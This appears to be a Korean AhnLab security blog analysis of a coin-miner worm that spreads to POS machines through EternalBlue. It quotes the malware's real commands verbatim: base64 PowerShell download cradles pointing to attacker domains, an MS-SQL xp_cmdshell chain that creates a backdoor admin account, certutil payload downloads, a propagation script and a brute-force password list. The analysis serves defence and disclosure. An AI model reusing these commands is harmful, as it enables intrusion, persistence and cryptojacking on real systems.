본문 바로가기
악성코드 정보

‘EternalBlue’ SMB 취약점(MS17-010)을 통한 악성코드 감염 확산 (2)

by 분석팀 2019. 2. 13.

 

안랩 ASEC은 지난 2월 11일 EternalBlue SMB 취약점으로 국내 POS 장비에 코인 마이너를 전파하는 공격을 확인하였다. 작년 6월에도 같은 이터널 블루 취약점으로 POS 장비의 인터넷이 마비되는 사건(https://asec.ahnlab.com/1143)이 있었으며 재작년 ‘WannaCrypt’ 이부터 현재까지도 공격자들은 SMB 취약점 공격을 악성코드를 전파하는 데 사용하고 있다. 추가로 이번 공격에 사용된 악성코드는 1월 28일 중국 Tencent 업체에서 언급된 것과 동일한 기능을 갖는 것으로 확인되었다. (https://guanjia.qq.com/news/n3/2475.html)

 

해당 취약점 공격은 윈도우 보안 패치로 방어할 수 있으므로 POS 장비뿐만 아니라 아직 MS 패치를 적용하지 않은 시스템은 감염 피해를 예방하기 위해 업데이트가 시급하다. 이번 국내 POS 장비 공격 과정은 [그림 1]과 같다.

 

 

 

 

[그림 1] 국내 POS 장비 공격 흐름도

 

 

공격 과정 중 EternalBlue SMB 취약점 공격을 발생시키는 주체인 "svchost.exe" 파일의 주요 기능은 아래와 같다.

 

[네트워크 행위]

- 로컬 시스템의 60124번 포트 바인딩

- 445번 포트 방화벽 설정

- 파워쉘 명령어를 통해 특정 도메인(v.beahh.com)에서 스크립트를 다운로드

- ipconfig /all, netstat –na 명령을 확인되는 모든 ip 대역을 스캔

- http://ip.42.pl/raw, http://jsonip.com 사이트에서 확인되는 ip 대역을 스캔

- SMB 취약점이 확인된 PC에 아래 파워쉘 명령어 실행 -> http://v.beahh.com/v 사이트 접속 후 스크립트 다운로드 명령

 

cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr 

 "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcA

ZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAO

gAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA="

/F&&c:\\windows\\temp\\svchost.exe

 

[시스템 행위]

- 파워쉘 명령어를 통해 윈도우 계정 패스워드 확인 툴인 MIMIKATZ 실행 (m.ps1)

- MIMIKATZ 툴을 통해서 얻은 계정 정보와 사용자 도메인 정보를 c:\windows\temp\mkatz.ini에 저장

- 파워쉘이 없는 시스템 환경(xp)일 경우 http://w.beahh.com/page.html에 접속하여 스크립트를 다운로드 및 실행

 

[전파 방식]

- EternalBlue 취약점 이용 외에 svchost.exe는 패스워드 사전 공격과, 미미카츠에 의해 얻어진 NTLM HASH를 이용하여 2가지 전파 방식을 추가로 사용한다.

 

[그림 2] 전파 후 작업 스케줄러 등록 정보

 

 

 

패스워드 사전 공격의 경우 아래 리스트에서 무작위로 대입하여 공격이 이루어지기 때문에 알기 쉬운 패스워드 되도록 사용하지 않아야 한다.

 

'', '123456', 'password', 'qwerty', '12345678', '123456789', '123', '1234', '123123', '12345', '12345678', '123123123', '1234567890', '88888888', '111111111', '000000', '111111', '112233', '123321',

 '654321', '666666', '888888', 'a123456', '123456a', '5201314', '1qaz2wsx', '1q2w3e4r', 'qwe123', '123qwe', 'a123456789', '123456789a', 'baseball', 'dragon', 'football', 'iloveyou', 'password', 

'sunshine', 'princess', 'welcome', 'abc123', 'monkey', '!@#$%^&*', 'charlie', 'aa123456', 'Aa123456', 'admin', 'homelesspa', 'password1', '1q2w3e4r5t', 'qwertyuiop', '1qaz2wsx', 'sa', 'sasa', 

'sa123', 'sql2005', '1', 'admin@123', 'sa2008', '1111', 'passw0rd', 'abc', 'abc123', 'abcdefg', 'sapassword', 'Aa12345678', 'ABCabc123', 'sqlpassword', '1qaz2wsx', '1qaz!QAZ', 'sql2008', 

'ksa8hd4,m@~#$%^&*()', '4yqbm4,m`~!@~#$%^&*(),.; ', '4yqbm4,m`~!@~#$%^&*(),.;', 'A123456' 

 

MS-SQL 커맨드를 이용하여 전파할 때는 패스워드 사전 공격이 성공하면 다음과 같은 추가 명령어를 실행한다.

db.execute_query("exec sp_dropextendedproc 'xp_cmdshell';")

 

db.execute_query("dbcc addextendedproc('xp_cmdshell','xplog70.dll')")

 

db.execute_query("EXEC sp_configure 'show advanced options', 1;RECONFIGURE;exec SP_CONFIGURE 'xp_cmdshell', 1;RECONFIGURE;")

 

db.execute_query("xp_cmdshell 'net user k8h3d k8d3j9SjfS7 /ADD && net localgroup administrators k8h3d /ADD&

 netsh advfirewall firewall add rule name=mssql dir=in action=allow protocol=TCP localport=1433

& netsh advfirewall firewall add rule name=web dir=in action=allow protocol=TCP localport=80'")

 

db.execute_query("sp_password Null,'ksa8hd4,m@~#$%^&*()','sa';")

 

db.execute_query('xp_cmdshell \'cmd /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn 

"\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBu

AGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAn

ACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&netsh firewall add portopening tcp 65533 DNSsql&netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53&certutil -urlcache -split -f http://dl.haqo.net/dll.exe?fr=mssql c:\\setupinstalled.exe&&c:\\setupinstalled.exe\'')

추가 명령어가 실행되면 k8h3d 계정이 생성된다.

생성된 계정은 악성코드 추가 전파를 위해 사용된다.

악성코드 전파에 사용된 악성파일을 공격에 성공한 PC 에 전송하고, 아래의 명령어를 랜덤한 이름의 서비스로 생성하여 실행한다.

def smb_pwn(conn, arch, tg):

    ee = ''

    eb = 'c:\\windows\\system32\\calc.exe'

    smbConn = conn.get_smbconnection()

    ... 중략 ...

    if tg == 2:

        bat = 'cmd /c c:\\installed2.exe&c:\\installed2.exe&echo c:\\installed2.exe >c:/windows/temp/p.bat&echo c:\\windows\\temp\\svchost.exe >>c:/windows/temp/p.bat&echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2  >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65531 DNSS2  >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F) else start /b sc start Schedule^&ping localhost^&sc query Schedule^|findstr RUNNING^&^&^(schtasks /delete /TN Autocheck /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"^&schtasks /run /TN Autocheck^) >>c:/windows/temp/p.bat&echo net start Ddriver >>c:/windows/temp/p.bat&echo for /f  %%i in (\'tasklist ^^^| find /c /i "cmd.exe"\'^) do set s=%%i >>c:/windows/temp/p.bat&echo if %s% gtr 10 (shutdown /r) >>c:/windows/temp/p.bat&echo net user k8h3d /del >>c:/windows/temp/p.bat&echo del c:\\windows\\temp\\p.bat>>c:/windows/temp/p.bat&cmd.exe /c c:/windows/temp/p.bat'

    else:

        bat = 'cmd /c c:\\installed.exe&c:\\installed.exe&echo c:\\installed.exe >c:/windows/temp/p.bat&echo c:\\windows\\temp\\svchost.exe >>c:/windows/temp/p.bat&echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2  >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65531 DNSS2  >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F) else start /b sc start Schedule^&ping localhost^&sc query Schedule^|findstr RUNNING^&^&^(schtasks /delete /TN Autocheck /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"^&schtasks /run /TN Autocheck^) >>c:/windows/temp/p.bat&echo net start Ddriver >>c:/windows/temp/p.bat&echo for /f  %%i in (\'tasklist ^^^| find /c /i "cmd.exe"\'^) do set s=%%i >>c:/windows/temp/p.bat&echo if %s% gtr 10 (shutdown /r) >>c:/windows/temp/p.bat&echo net user k8h3d /del >>c:/windows/temp/p.bat&echo del c:\\windows\\temp\\p.bat>>c:/windows/temp/p.bat&cmd.exe /c c:/windows/temp/p.bat'

    service_exec(conn, bat)

생성된 계정은 사용이 완료 될 경우 계정을 삭제하여 흔적을 지운다.

 

 

[파일 진단]

현재 안랩 제품에서는 해당 악성코드들을 다음과 같이 진단하고 있다.

 

 

파일명

진단명

svchost.exe (SMB 전파)

Trojan/Win32.Trickster.R254998

svchost.exe (sample.exe)

Malware/Win32.Generic.C2950422

wmiex.exe (MAL 1)

Trojan/Win32.Agent.R254993

taskmgr.exe (MAL 2 32bit Binary)

Malware/Win32.Nsanti.C2957178

taskmgr.exe (MAL 2 64bit Binary)

Trojan/Win64.Agent.C3009705

m.ps1 (윈도우 계정탈취)

SCRIPT/Powershell

 

 

 

 

[URL 차단]

 

 

 

 

[SMB 취약점 패치]

 

- https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010

 

댓글